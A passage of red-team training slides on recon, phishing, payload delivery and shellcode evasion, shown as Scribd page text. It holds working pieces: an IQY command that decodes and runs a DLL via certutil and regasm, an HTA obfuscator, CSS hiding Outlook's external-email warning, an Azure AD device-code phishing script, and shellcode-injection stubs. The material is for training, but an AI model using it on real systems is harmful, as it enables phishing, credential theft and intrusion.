0% found this document useful (0 votes)
259 views626 pages

Red Team Training Dec 2022

The document outlines a two-day Red Team training program by Charles F. Hamilton, covering offensive and defensive cybersecurity techniques across five modules. Key topics include initial foothold strategies, gaining access, payload crafting, internal reconnaissance, and lateral movement, with practical exercises and tools for DNS enumeration, phishing, and credential harvesting. The training emphasizes assessing client security postures and simulating real-world attack scenarios without exploiting numerous vulnerabilities.

Uploaded by

coindcx.okto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
259 views626 pages

Red Team Training Dec 2022

The document outlines a two-day Red Team training program by Charles F. Hamilton, covering offensive and defensive cybersecurity techniques across five modules. Key topics include initial foothold strategies, gaining access, payload crafting, internal reconnaissance, and lateral movement, with practical exercises and tools for DNS enumeration, phishing, and credential harvesting. The training emphasizes assessing client security postures and simulating real-world attack scenarios without exploiting numerous vulnerabilities.

Uploaded by

coindcx.okto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 626

Red Team Training

Charles F. Hamilton

Twitter @MrUn1k0d3r
Website https://mr.un1k0d3r.online
Github https://github.com/Mr-Un1k0d3r
Patreon https://patreon.com/MrUn1k0d3r

1
Syllabus
2 days training, covering both offensive and defensive aspects.

The training is divided in 5 modules:


▪ Initial foothold
▪ Gaining Access
▪ Payload crafting
▪ Internal Reconnaissance
▪ Lateral Movement

2
Information for the lab
Everything is hosted on the https://mr.un1k0d3r.online/ domain.

The training portal is located at https://mr.un1k0d3r.online/training/

3
What is a red team
▪ Assesses your client’s responsiveness against threat actors
▪ Evaluates their security posture by achieving pre-defined goals
(access CEO emails, access customer data, etc.)
▪ Demonstrates potential paths used by attackers to access your client’s
assets

Is not about exploiting as many 0-days as possible


Is not about exploiting as many systems as possible

4
Module 1:
Initial Foothold

5
Initial Foothold
DNS Enumeration
During a red team some of your target may be 3rd party applications
that are not managed by your target (ex: payroll using a 3rd party). It is
important to fingerprint the ownership of these applications prior to
the red team

6
Initial Foothold
DNS Enumeration
Starting point:
• DNS reconnaissance (https://github.com/blark/aiodnsbrute,
fast and easy to use)
• Once the target primary domain is identified, performing a
DNS subdomain brute may reveal interesting targets
• VPS services are probably going to be much faster than your
home ISP

7
Initial Foothold
DNS Enumeration note
▪ Misconfigured DNS may leak internal IP addresses and servers of
interest in their public records
▪ You may also leak your IP address
▪ While performing a red team, make sure that you perform your DNS
query on a system that is not owned by you, since recursive DNS
query will leak the source

8
Initial Foothold

9
Initial Foothold
Certificate Enumeration
Certificate may have multiple subjects leaking extra DNS, including
staging environment

10
Initial Foothold
Search Engine

Search engine can be used to search


for domain and subdomains

inurl:
intext:
site:

11
Initial Foothold
Github
• https://github.com/dxa4481/truffleHog can be used to harvest
information within github
• Trufflehog Searches through git repositories for secrets, digging deep
into commit history and branches
• This is effective at finding secrets accidentally committed

12
Initial Foothold
Enumeration Tool
https://github.com/OWASP/Amass is basically using all the method we
described to perform enumeration:
• Information Gathering Techniques Used:
• DNS
• Scraping
• Certificates
• APIs
• Web Archives

Can be installed from the repo: sudo snap install amass


13
Initial Foothold
ASN may be useful too to find new subnets

Validate it against ARIN: https://whois.arin.net/rest/asn/AS{id}

Search for IPs associated with ASN


https://raw.githubusercontent.com/nitefood/asn/master/asn

14
Initial Foothold

15
Initial Foothold
Validating that the IP range is owned by the target (using ARIN or
automated script https://github.com/Mr-Un1k0d3r/SearchIPOwner)

Your target may own more than one subnet, so make sure that you
perform the exercise every time you discover a new IP and repeat for
each domain that is own by them

Example: mr.un1k0d3r.online and ringzer0team.com are owned by the


same entity

16
Exercise
Enumerate subdomain
for mr.un1k0d3r.online
Initial Foothold
Subnets reconnaissance using shodan.io

18
Initial Foothold
Validating certificate in the range may reveal new domains that can be
used for enumeration

When targeting a company that performed several acquisitions, make


sure that each acquired company is in scope
19
Initial Foothold
Shodan may reveal interesting service exposed

Version fingerprint is also useful to identify potentially vulnerable


targets.

20
Initial Foothold
Censys.io also another Shodan like service but it is a bit more expensive

You can get shodan for about 5$ when they do their discount

21
Initial Foothold
Shodan may reveal other portals that can be used to access the internal
network:
• Citrix portals
• OWA
• VPN
• F5 console
• Fortinet
• Cisco
• …

Always hunt for the latest publicly available exploit

22
Initial Foothold
Scanning the external subnet for most common port may be useful too.
Since the whole Internet is scanned several times a day, a light NMAP
should remain undetected.
Make sure you are using the proxy system that was previously set up in
the cloud not to expose your company’s IP and reveal that you are
performing a Red Team
nmap -Pn -sT -vvvv -oA scan 10.10.10.10/22 -p22,80,443,8080,8443
| | |
No ping - - Full TCP connect - List of common web port

23
Initial Foothold
proxychains to tunnel your scan? You need to use a full TCP connect
scan
proxychains –sT …

Don’t forget about your DNS in: /usr/lib/proxychains3/proxyresolv

24
Initial Foothold
Quick web enumeration. Instead of manually browsing each web
application, the NMAP output can be used to perform web capture
using aquatone (https://github.com/michenriksen/aquatone)

25
Initial Foothold
Both amass and nmap results can be used to feed aquatone

cat nmap.xml | ./aquatone –nmap


cat output | ./aquatone

Sadly, aquatone is not really maintained anymore

26
Initial Foothold

27
Initial Foothold

28
Exercise
Run aquatone against the
discovered IPs
Initial Foothold
From there, you may be able to quickly identify interesting portals and
potential framework / application / services that can be exploited to
gain access

Keep in mind that one of the predefined goals can include accessing
one of the exposed portals. Once credentials are obtained, try to
connect to the service from the external network

Services that rely on active directory for authentication can be used to


perform password spraying

30
Initial Foothold
Quick wins when it comes to reconnaissance:
• Lync and Office can be used to leak the internal domain name and may
expose authentication endpoint
• Exposed OWA can be used to access email through the EWS endpoint, even if
MFA is enforced
• Send internal phishing with compromised credentials via EWS
• https://github.com/rvrsh3ll/Misc-Powershell-
Scripts/blob/b834ca28c5a8d392bd14e8e4e380d42c4a8fc318/Send-
EWSEmail.ps1
• EWS endpoint is usually located at: https://your.target/EWS/Exchange.asmx
• Try to enumerate active directory through their exposed portal

31
Initial Foothold
Harvesting credentials and users
Query exposed data breach for email matching your target
Hunt code repositories online:
• Check commit message for guidance:
• Commit #13d8bd21a removing AWS key: you can check the commit and
retrieve the key event if the branch doesn’t show it anymore

32
Initial Foothold

33
Initial Foothold

34
Initial Foothold

35
Initial Foothold
Like Google search Github support keyword to refine your search

36
Initial Foothold
Github was cool and all, but they made it even cooler with the
cs.github.com search

It is still beta but offer all kinds of features.

37
Initial Foothold
Good ol’ Google dorks:
• intext
• inurl
• intitle
• site
• filetype
• …

https://www.exploit-db.com/google-hacking-database

38
Initial Foothold
Site such as linkedin.com may give you a list of employees
Metadata in exposed document may reveal the internal username structure:
site:ringzer0team.com filetype:pdf

Link may be down, don’t be scared of using wayback machine (archive.org) or Google cache

39
Initial Foothold

40
Initial Foothold
Cached example

41
Initial Foothold
Cached example

42
Exercise
Search for
interesting data
Initial Foothold
Some documents may have the Active Directory format as the author
Once the format is identified, you can generate a list of potential users
based on the information collected on linkedin, github commit name,
facebook, facebook corporate group, document metadata, corporate
website and more

FOCA can be used to automate the process:


https://github.com/ElevenPaths/FOCA

44
Initial Foothold
Hiring platforms are also useful to fingerprint the security technology
used by your target

45
Exercise
Search for interesting
job description
Initial Foothold
Phishing
At this point, you either find an exposed vulnerability and you now
have access to their network, or you need to find a way to get in

So far, we have gathered:


• List of users
• Passwords
• List of assets
• The security product they use
47
Initial Foothold
Phishing
Time to see if we can gain access to their employee emails through a
password spraying attack

This tool provides enough flexibility to target OWA, Office365 or an endpoint that supports
negotiate authentication (NTLM)

48
Initial Foothold
You client is using the cloud: Graph is what you are looking for

https://developer.microsoft.com/en-us/graph/graph-explorer

49
Initial Foothold
https://login.microsoftonline.com/common/v2.0/

https://graph.microsoft.com/v1.0/

50
Initial Foothold
Behind the curtain, Graph is using a bunch of standard web APIs

https://graph.microsoft.com/v1.0/me/messages

Azure AD is also another exposed APIs that can be used to gather


remote information. More on this later.

51
Initial Foothold
Phishing context and pretext matters
Pretext is a false, contrived, or assumed purpose or reason; a pretense
and Context is the surroundings, circumstances, environment,
background or settings that determine, specify, or clarify the meaning
of an event or other occurrence

52
Initial Foothold
Searching for context: google etc..

53
Initial Foothold
Your targets have SPF enabled, they must be protected against
spoofing, right?

Well short answer is no. They need to enforce DMARC and DKIM to
completely prevent spoofing
DMARC (Domain-Based Message Authentication, Reporting and Conformance) is an email
authentication protocol. It is designed to give email domain owners the ability to protect
their domain from unauthorized use, commonly known as email spoofing

DomainKeys Identified Mail (DKIM) is a protocol that allows an organization to take


responsibility for transmitting a message in a way that can be verified by mailbox providers.
This verification is made possible through cryptographic authentication

54
Initial Foothold
Try it yourself: https://github.com/Mr-Un1k0d3r/SPFAbuse

If your target doesn’t enforce DMARC, you can spoof email

python SPFAbuseSMTP.py <API-KEY> [email protected]


[email protected] "SPF are not enough" email.txt

You need a sendgrid key which is free to register limited to 10000


emails

55
Exercise
Try to send an email to
your corporate email
using the president’s
email
Initial Foothold
You can abuse 3rd party SPF trust

Remember range discovery? SPF may give you more

Also, in this case, they trust salesforce.com and zixworks.com:


▪ Can you send an email through a salesforce API?
▪ Here is a new context can be abused

57
Initial Foothold
The Marketing Evil. Let’s assume your target has properly configured
the DMARC + DKIM + SPF

But they want to send marketing emails using, let’s say, sendgrid.com

58
Initial Foothold
Due to the way that most marketing email solutions work, companies must allow
the marketing solution in their SPF

You register an account on the same marketing solution and you send an email
within the same IP range

It’s not a bug it’s a feature

No need to tell you that this will increase the credibility of your phishing campaign,
since you can pretend to be from the targeted company
Phishing is all about trust
59
Exercise
Analyze DNS TXT Record
Initial Foothold
https://mxtoolbox.com

61
Initial Foothold
dig command

62
Initial Foothold
nslookup command

63
Initial Foothold
External assets can be tested using various tools:

Attack Lync:
▪ https://github.com/nyxgeek/lyncsmash

Attack Office365:
▪ https://github.com/mdsecactivebreach/o365-attack-toolkit

64
Initial Foothold
Now that we have everything in place to send our phishing, create the phishing
email and website
If you can use one of the target systems to host your payload, do it!
If you can’t, make sure that your phishing website is attractive:
▪ Clone legitimate website visual to make it look “professional”
▪ Obfuscate your payload
▪ Avoid typo squatting use 3rd party cloud service approach:
ringzer0.payrollapp.com vs rlngzer0.com
▪ Use categorized domain
▪ Domain age and certificate matter
▪ Don’t store the payload in the email
65
Initial Foothold
Clone legitimate website visual to make it look “professional”
The first impression your victim will get will come from the look of the
website

66
Initial Foothold
Obfuscate your payload
Assume that automated product will crawl your website. Hide the link to your final
payload:
Simple Apache mod_rewriterule to generate “corporate” URL with unique ID
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ! –f
RewriteCond %{REQUEST_FILENAME} ! –d
RewriteRule ^(.*)$ index.php [L,QSA]

https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/
will actually call
https://phishy.domain/company/index.php

67
Initial Foothold
Obfuscate your payload
Use JavaScript to generate your payload’s final link
Let’s assume the HTML on the phishing website looks like this:

<a href="https://phishy.domain/payload.docm">download the code of conduct</a>

Automated security tools can easily process the HTML and pull the payload to
perform further analysis

68
Initial Foothold
Obfuscate your payload
<a id="download" href="#">
download the code of conduct</a>
<script>
document.getElementById("download").onclick = function() {
document.location= "https://phish" + "y.domain/pay" + "load";
}
document.getElementById("download").click();
</script>

69
Initial Foothold
Email Trick

The big warning box case

Usually, your phishing is coming from an external domain, and it loads


such warning in your email. Can we get rid of it…

70
Initial Foothold
Email Trick

CSS is the key here

Send your phishing email in HTML format and add the following piece
of code:
<style>body { display: none } .phish { display: block !important }</style>
<div class="phish">Your Phishing email content goes here</div>

71
Initial Foothold
Email Trick
This can be easily tested locally using pywin32 on Windows and Outlook

import win32com.client as win32


outlook = win32.Dispatch('outlook.application')
mail = outlook.CreateItem(0)
mail.To = [email protected]'
mail.Subject = ‘Phishing test'
mail.HTMLBody = """
<style>body { display: none } .phish { display: block !important }</style>
<div class="phish">Your Phishing email content goes here</div>
"""

mail.Send()

72
Initial Foothold
Avoid typo squatting
If an employee notices the phishing attempt and identifies the typo squatting,
without a doubt, he will report. However, if the original domain looks legitimate,
the chance that the URL will be trusted increases
▪ ringzer0.payrollservice.com

▪ rlngzer0.com

▪ rìngzer0.com

Thanks to browser URL font for making the typo a bit harder to see

73
Initial Foothold
Use categorized domain
Assume that the targeted organization has a proxy in place internally. The proxy
may only allow trusted category:
• You can purchase already categorized domain that expired
• You can purchase your own domain and categorize it yourself
There are so many new domains that are registered that nowadays most proxies
will let uncategorized domains through to avoid having several support tickets
But always assume the worst, assume your client has tight filtering (reconnaissance
may have revealed some information)

74
Initial Foothold
Domain age matter
Proxy may prevent newly registered domain

75
Initial Foothold
Domain age and certificate matter
Even if you are not working a red team, you should register domains occasionally to
let them age before they will be used:
▪ Security solution may flag your email as suspicious due to a newly created
domain
▪ Corporate solution (for now) may flag let’s encrypt certificate as suspicious
since most of the major brands did not adopt it
▪ Use commercial solution to get a certificate
▪ For now, you can still use HTTP only website avoiding to deal with certificate
(Browsers are planning to flag non-HTTPS site soon)

76
Initial Foothold
Domain age and certificate matter

Quick note on DNS:


If you are planning to reuse the domain, make sure it was not burned during the
previous engagement:
▪ Search for the domain name on public scanning platform such as virustotal
▪ When you setup your DNS for your subdomain, instead of defining a specific
subdomain and leaking previous client, use wildcard *.yourdomain.com

77
Initial Foothold
Don’t store the payload in the email
Storing your payload on a website you control allows you to:
▪ Know the source IP to detect potential automated tool
▪ Know if there is an automated tool that crawled your payload (user agent, IP)
▪ Swap your payload if there is a problem
▪ Track users that interacted with your phishing

78
Initial Foothold
Don’t store your macro in your document
Office allow you to fetch remote template

Zip it back and you are good to go

79
Initial Foothold
Hi Bob,
We are currently updating our code of conduct policy. Please review and accept as
soon as possible.
We are using the CodeOfConduct EZ-Form technology to digitally sign the
document.
The code of conduct can be found here:
https://ringzer0team.codeofconductupdate.com/trustwave/code/a2ef362e-45d0-
b21d-5abf-edce29d365cb/
Thank you,

80
Initial Foothold
Do not hesitate to duplicate the target signature format. Once again,
reconnaissance probably leaked some public email with the format
they are using

Try online forms and wait for an automatic reply

81
Exercise
Check domain
categorization
Initial Foothold
Payload Options
Based on the reconnaissance, you may want to prioritize a certain type of payload over another one

EDR and Antivirus love to brag about their detection capability. Browse their website for more
information and use a payload that does not use a technique they detect

83
Initial Foothold
Macro VBA:
PROS:
▪ Easy to write
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen

84
Initial Foothold
Macro VBA:
CONS:
▪ Easy to block (Macro enabled document)
▪ Since Office 2016, macros are disabled by default and can’t be enabled
▪ Easy heuristics detection (WinWord.exe spawning cmd.exe). Use WinWord
to WMI to prevent that
▪ User interaction required to allow it to run

85
Initial Foothold
Macro VBA tricks:
Use WMI to spawn process to break the process chain
Use condition to execute code:
▪ Good ol’ domain check
▪ Delayed execution
▪ Use VBA as the first stage to download more payload

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

86
Initial Foothold
HTA:

PROS:
▪ Easy to write
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen

87
Initial Foothold
HTA:

CONS:
▪ Well known technique, lot of detection effort has been made
▪ User interaction required to allow it to run
▪ Relatively easy to detect since mshta.exe is the parent process

88
Initial Foothold
HTA tricks:

Use simple HTA to dump other files that rely on Windows signed binary to bypass
application whitelisting
Use the engine to obfuscate your code

<img src=x onerror=execScript(eval(“…”))>

89
Initial Foothold
import sys
import random
import string

def gen_str(size):
return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size))

str = open(sys.argv[1], "r").read().replace(" ", "")


output = "<img src=%s.png onerror=\"\u0065\u0078\u0065\u0063\u0053\u0063\u0072\u0069\u0070\u0074&#40&#39" % gen_str(random.randrange(10, 24))

str = str.replace("\n", ";")


for i in str.strip():
if i is " ":
output += " "
elif i is "(":
output += "("
elif i is ")":
output += ")"
elif i is ",":
output += ","
elif i is "=":
output += "="
elif i is ";":
output += "\\r"
else:
current = format(ord(i), "x")
output += "\\u" + current.rjust(4, "0")

output += "&#39&#44&#32&#39VBScript&#39&#41\">"

90
print(output)
Initial Foothold
IQY File:

PROS:
▪ Easy to write
▪ Easy to obfuscate or embed another file inside the IQY file
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ No SmartScreen

91
Initial Foothold
IQY File:

CONS:
▪ Well known technique, lot of detection effort has been made
▪ User interaction required to allow it to run
▪ Excel disables it on most systems

92
Initial Foothold
IQY file tricks:
https://gist.github.com/Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7

=cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex
%temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1’

https://gist.github.com/Mr-Un1k0d3r/4ed3e3e0416fbbd1fd015119359eb961

WEB
1
https://ringzer0.com/IQY

SingleBlockTextImport=False
DisableDateRecognition=False
DisableRedirections=False

4d5a90000300000004000000fff...

93
Initial Foothold
ClickOnce:

PROS:
▪ Easy to write (CSharp or any .NET language of your choice since it’s all
converted into MSIL)
▪ Easy to obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ Rely on the .NET framework (easy to pivot to unmanaged Powershell)
▪ It’s an EXE, low obfuscation can be used

94
Initial Foothold
ClickOnce:

CONS:
▪ SmartScreen will be triggered
▪ User interaction required to allow it to run
▪ Internet Explorer or Edge is required to deliver the payload

95
Initial Foothold
ClickOnce Tricks:

CSharp (or .NET language of your choice) can be easily obfuscated and used to
either load shellcode or unmanaged powershell
https://github.com/Mr-Un1k0d3r/ClickOnceGenerator

96
Initial Foothold
LNK file:

PROS:
▪ Easy to generate
▪ Run arbitrary command
▪ No SmartScreen

97
Initial Foothold
LNK file:

CONS:
▪ Easy to analyze
▪ Kind of shady since you need a ZIP usually to add all the needed files

98
Initial Foothold
LNK can be bundle with a MSI installer

99
Initial Foothold
CHM file:

PROS:
▪ Easy to write (HTML & script based)
▪ No SmartScreen
▪ Not super popular

100
Initial Foothold
CHM file:

CONS:
▪ Easy to analyze
▪ Looks shady from a user perspective
▪ Limited in your actions

101
Initial Foothold
CHM Tricks:
Need to be compiled locally using hhc.exe

102
Initial Foothold
EXE:

PROS:
▪ Deep obfuscate
▪ Pretty flexible: can be chained with other techniques to avoid detection
▪ It’s an EXE, low obfuscation can be used
▪ Direct use of Windows APIs unhooking is possible without writing too much
code

103
Initial Foothold
EXE:

CONS:
▪ SmartScreen will be triggered
▪ May be hard to run due to policy in place

104
Initial Foothold
EXE Tricks:
▪ Avoid using generated exe without modification; AV will detect them in a
matter of seconds
▪ Time to learn assembly and Windows core to obfuscate your code
▪ Zip your EXE. If your target is using anything else than the default windows
archive utility, you will not get SmartScreen since it will remove the Mark of
the Web

C:\>dir /R

105
Initial Foothold
SmartScreen?
When you download certain type of file such as EXE, you may get prompted with
the following screen

106
Initial Foothold
Each downloaded file will contain an ADS file (Alternate Data Stream) with the zone
identifier

cmd.exe /c dir /R will show the ADS

Once extracted the ADS contains the following data:

[ZoneTransfer]
ZoneId=3

107
Initial Foothold
▪ ZoneId=0: Local machine
▪ ZoneId=1: Local intranet
▪ ZoneId=2: Trusted sites
▪ ZoneId=3: Internet
▪ ZoneId=4: Restricted sites

108
Exercise
Select a payload
based on the recon
result
Initial Foothold
Phishing advice:

▪ Nowadays, getting access to a well secured environment through a phishing


campaign is getting harder. The following tips may help:
▪ Choose your target wisely
▪ Do not hesitate to perform multi layers phishing
▪ Do not hesitate to engage a conversation with the victim to gain trust
(Employee applying for a job and couple of emails exchanged)
▪ Make your phishing as boring as possible; it may take more time, but
there is less chance it will be reported
▪ Take your time

110
15 minutes break
Gaining Access
You can use Azure AD to get internal AD access

Perfect for phishing too, since you are using a legitimate Microsoft
endpoint

112
Gaining Access
You can use the devicecode feature
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.windows.net"
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri
"https://login.microsoftonline.com/common/oauth2/devicecode?api-
version=1.0" -Body $body
$user_code = $authResponse.user_code
write-output $authResponse

113
Gaining Access

114
Gaining Access
$jwt = $response.access_token
$output = Parse-JWTtoken -token $jwt
$upn = $output.upn
write-output $upn
Write-output "Dumping Users"
Connect-AzureAD -AadAccessToken $response.access_token -AccountId $upn
Get-AzureADUser -All $True | Select-Object -Property * | Out-File AD-users.txt
Write-output "Dumping Groups"
Get-AzureADGroup -All $True | Select-Object -Property * | Out-File AD-groups.txt

Write-output "Dumping Groups Membership"


foreach($group in Get-AzureADGroup -All $True) {
$group.DisplayName | Out-File GroupMembership.txt -Append
Get-AzureADGroupMember -ObjectId $group.ObjectId -All $True | Out-File
GroupMembership.txt -Append
}

115
Gaining Access
The complete source code is located at:

https://mr.un1k0d3r.online/training/source/phishing.ps1

116
Exercise
Try it against
yourself
Gaining Access

Crafting payload is an art Most of the attack framework and C2 on the


market offer shellcode as their stage one

118
Gaining Access

First of all, what is shellcode?

119
Gaining Access
• Shellcode is basically assembly code often referred as opcode

120
Gaining Access
Assembly language is designed to be the “ human readable ” version of
the opcode processed by the CPU

121
Gaining Access
The opcode can be converted back to assembly to confirm its assembly
code
OpAsm can convert opcode to assembly and vice versa
https://ringzer0ctf.com/static/OpAsm.1.3.py

122
Gaining Access
Shellcode can be executed using small C program
Keep in mind that this approach is not going to work on modern
systems due to memory allocation security measures

The long way The short way

123
Gaining Access
Once compiled, this complex basically becomes a call EAX, where EAX is
pointing to the shellcode

124
Gaining Access
EIP is now pointing to EAX and the shellcode is executed

FC E8 89 00 00 00
125
Gaining Access

FC E8 89 00 00 00
Typical Metasploit / cobalt strike shellcode signature

126
Gaining Access

No need to say that Antivirus solutions Even static approach can detect the
and EDR will detect this stager in a matter shellcode signature
of second since it can be detected easily

127
Gaining Access
▪ To AVOID detection, we will go
through two commonly used
techniques
▪ Low level obfuscation (using C or
assembly)
▪ WRAPPING THE SHELLCODE IN
SEVERAL LAYERS OF CODE (GZIP
+ BASE64 + C# + UNMANAGED
POWERSHELL)

128
Gaining Access
▪ Low level obfuscation serves the purpose of evading static detection
and not too sophisticated security products
▪ The idea is to hide the original shellcode that can be easily detected
using regex or pattern match
▪ Runtime detection will still detect the final shellcode behavior

129
Gaining Access
For instance, DKMC is using a low-level obfuscation approach
In a nutshell, the code is encrypting the shellcode with a 32 bits
(DWORD) key using the xor operator.
DWORD key ⊕ DWORD shellcode
The key is unknown by the algorithm, and it is bruteforced at runtime
https://github.com/Mr-Un1k0d3r/DKMC

130
Gaining Access

The algorithm used in DKMC to decrypt


the shellcode is only 84 bytes

Low-level obfuscation can be extremely


compact and much harder to detect

131
Gaining Access

In the case of DKMC, the obfuscated Making the final payload a polyglot image
shellcode is then embedded in an image
that is 100% valid; the whole image is
also a VALID shellcode

132
Gaining Access

It goes without saying that the possibilities are endless when it comes
to low-level obfuscation

133
Exercise
Write C code to
execute obfuscated
shellcode (xor)
Gaining Access
The encoder

135
Gaining Access
The decoder

136
Gaining Access
Quick note on the xor operator:
The same code can be used to generate the encoder and the decoder

A⊕B=C
C⊕B=A

137
Gaining Access
The fact that xor is super easy to use is extremely convenient
when it comes to payload obfuscation

This is one of the reasons it’s widely used in malware


development

Red team also consists of developing your own malware

138
Gaining Access
How Cobalt Strike payload can be obfuscated; luckily, there are a lot of
format types available

Most of the tool I developed will use the RAW format


139
Gaining Access
You want to avoid using shellcode for Cobalt Strike? The powershell
oneliner may be the solution…

140
Gaining Access
The Base64 decoded data leads to more powershell code than GZIPed
and Base64 once more

141
Gaining Access
Which decodes to the final powershell stage

142
Gaining Access
The big base64 blob of data is xor with the value 35 (remember how
xor is used everywhere)

Then the decrypted value is Invoked

143
Exercise
Decode the final
stage
Gaining Access
Our good ol’ shellcode!

145
This shellcode was obfuscated using
the following layers

Powershell base64

Gaining Access Powershell code gzip + base64

Base64 the payload

Xor the payload

146
Gaining Access
Every payloads type will end up calling
shellcode, since the malicious code is always
going to be a DLL

147
Gaining Access
Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/PowerLessShell

▪ msbuild xml + C# + encrypted shellcode


▪ msbuild xml + C# + unmanaged powershell + whatever powershell payload used
to run the shellcode

148
Gaining Access
Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

▪ Obfuscated VBA to pretty much do everything you want

149
Gaining Access
Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/SCT-obfuscator

▪ Simple SCT obfuscator for Cobalt Strike COM Scriptlet:


▪ COM scriptlet + Excel + Macro + CreateRemoteThread to load the shellcode

150
Gaining Access
Speaking of CreateRemoteThread, you can also execute your shellcode within your
own process (CreateThread) or a remote process
Threads are basically code that will be executed in the process. Good news!
Shellcode is code that can be executed
Windows APIs that can be used:
▪ CreateRemoteThread
▪ CreateThread
▪ QueueUserAPC
▪ …
Memory permission matters: if you want to be able to run shellcode, your memory
needs to be executable
If your shellcode is modifying itself, you need writable memory region

151
Gaining Access
CreateThread may be detected by static analysis or ”deep learning”

Use Windows APIs callback instead

site:docs.microsoft.com intext:"application-defined callback function" intitle:"function"

152
Gaining Access
#include <windows.h>

void shellcode() {
asm(".byte 0xcc, 0xcc");
}

int main() {
CHAR *payload = shellcode;

EnumDesktopsW(NULL, (DESKTOPENUMPROCW)shellcode, NULL);


return 0;
}

153
Gaining Access
Remote injection requires the use of the following APIs:

OpenProcess: Open the remote process


VirtualAllocEx: Allocate memory on the remote process
WriteProcessMemory: Write the data to the remote process memory
CreateRemoteThread: Call the memory location as executable code

154
Exercise
Write C code to execute
shellcode using
CreateRemoteThread
Gaining Access

156
Gaining Access
Want to use C# instead, Interop Service is your friend
https://github.com/Mr-
Un1k0d3r/RemoteProcessInjection/blob/master/remoteprocessinjection.cs

157
Gaining Access
.NET can be used to hide your code using native ProtectedMemory
class

158
Gaining Access
SameLogin and SameProcess can be used to prevent security product
scan to analyze your malicious data stored in memory, since they will
not be able to unprotect the memory

159
Exercise
Write C code to
execute shellcode using
CreateThread
Gaining Access

161
Gaining Access
The call to the CreateThread confirms that the code will be executed

Quick note on calling convention on 32 bits system: it uses the stack in


to push the arguments
In this case ESP + 4 = 0x0060FEB0 = mem

162
Gaining Access

Now you have all the


tools in the world to be
creative when it comes to
payload generation

163
Gaining Access

WARNING

164
Gaining Access
When you are designing your payload, you may want to think of the
following:
If you want to avoid network detection, act like a legitimate
service

Be ahead of detection using the latest technology:


▪ Websocket, for example
▪ Using API technology structure (JSONP, SOAP)

165
Gaining Access
If you want to avoid detection, understand your enemy
What do they really monitor?
▪ Network
▪ APIs hooks
▪ Behaviors
▪ Heuristics
▪ Hash based

166
Gaining Access
Network:
▪ Second layer of encryption
▪ Shady, less used protocol
▪ Secure channel

167
Gaining Access
Why domain fronting is so powerful:
▪ Using known “trusted” domain to route your traffic will increase the chance
to blend in
▪ If the traffic is not encapsulated into a secure channel (TLS), heuristic
detection may be harder

168
Gaining Access
Why domain fronting is so powerful:

A typical domain fronting will have a Host header that doesn’t match the host
requested

This is something that is used legitimately

169
Gaining Access
Why domain fronting is so powerful:
Querying google.com

GET / HTTP/2.0
Host: malicious.com

Assuming that the server supports arbitrary host, the request will be
forwarded to the attacker.

https://github.com/vysecurity/DomainFrontingLists

170
Gaining Access
HTTP IS PROBABLY THE MOST USED PROTOCOL
▪ WELL DETECTED
▪ EASY TO USE TONS OF LIBRARIES

171
Gaining Access
RAW TCP
▪ FAST
▪ WELL DETECTED
▪ NEED MORE TIME TO CODE

172
Gaining Access
DNS
▪ LESS MONITORED
▪ SLOW
▪ NEED MORE TIME TO CODE

173
Gaining Access
ICMP
▪ LESS MONITORED, NOT SUPER POPULAR ANYMORE
▪ SUPER SLOW
▪ NEED MORE TIME TO CODE

174
Gaining Access
Protocol encryption VS software encryption:
Protocol may be easily intercepted by network filter
TLS -> Windows Decryption -> Network Filter -> Application
|
It’s now clear text
TLS -> Windows Decryption -> Network Filter -> Application ->
Decryption
|
Still encrypted

175
Gaining Access
ThunderShell is using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell
HTTPS

HTTP

176
Gaining Access
ThunderShell is using this approach
https://github.com/Mr-Un1k0d3r/ThunderShell
The JSON data contains the actual C2 communication

The traffic is still encrypted since it’s decrypted at the software layer
This obviously defeats network filter

177
Gaining Access
APIs hooking:
▪ Don’t use the ones that are hooked
▪ If it’s user mode hooking, jump over the hook
▪ Jumping user land hooks
▪ Depending on how deep the hook is, call lower Windows API:

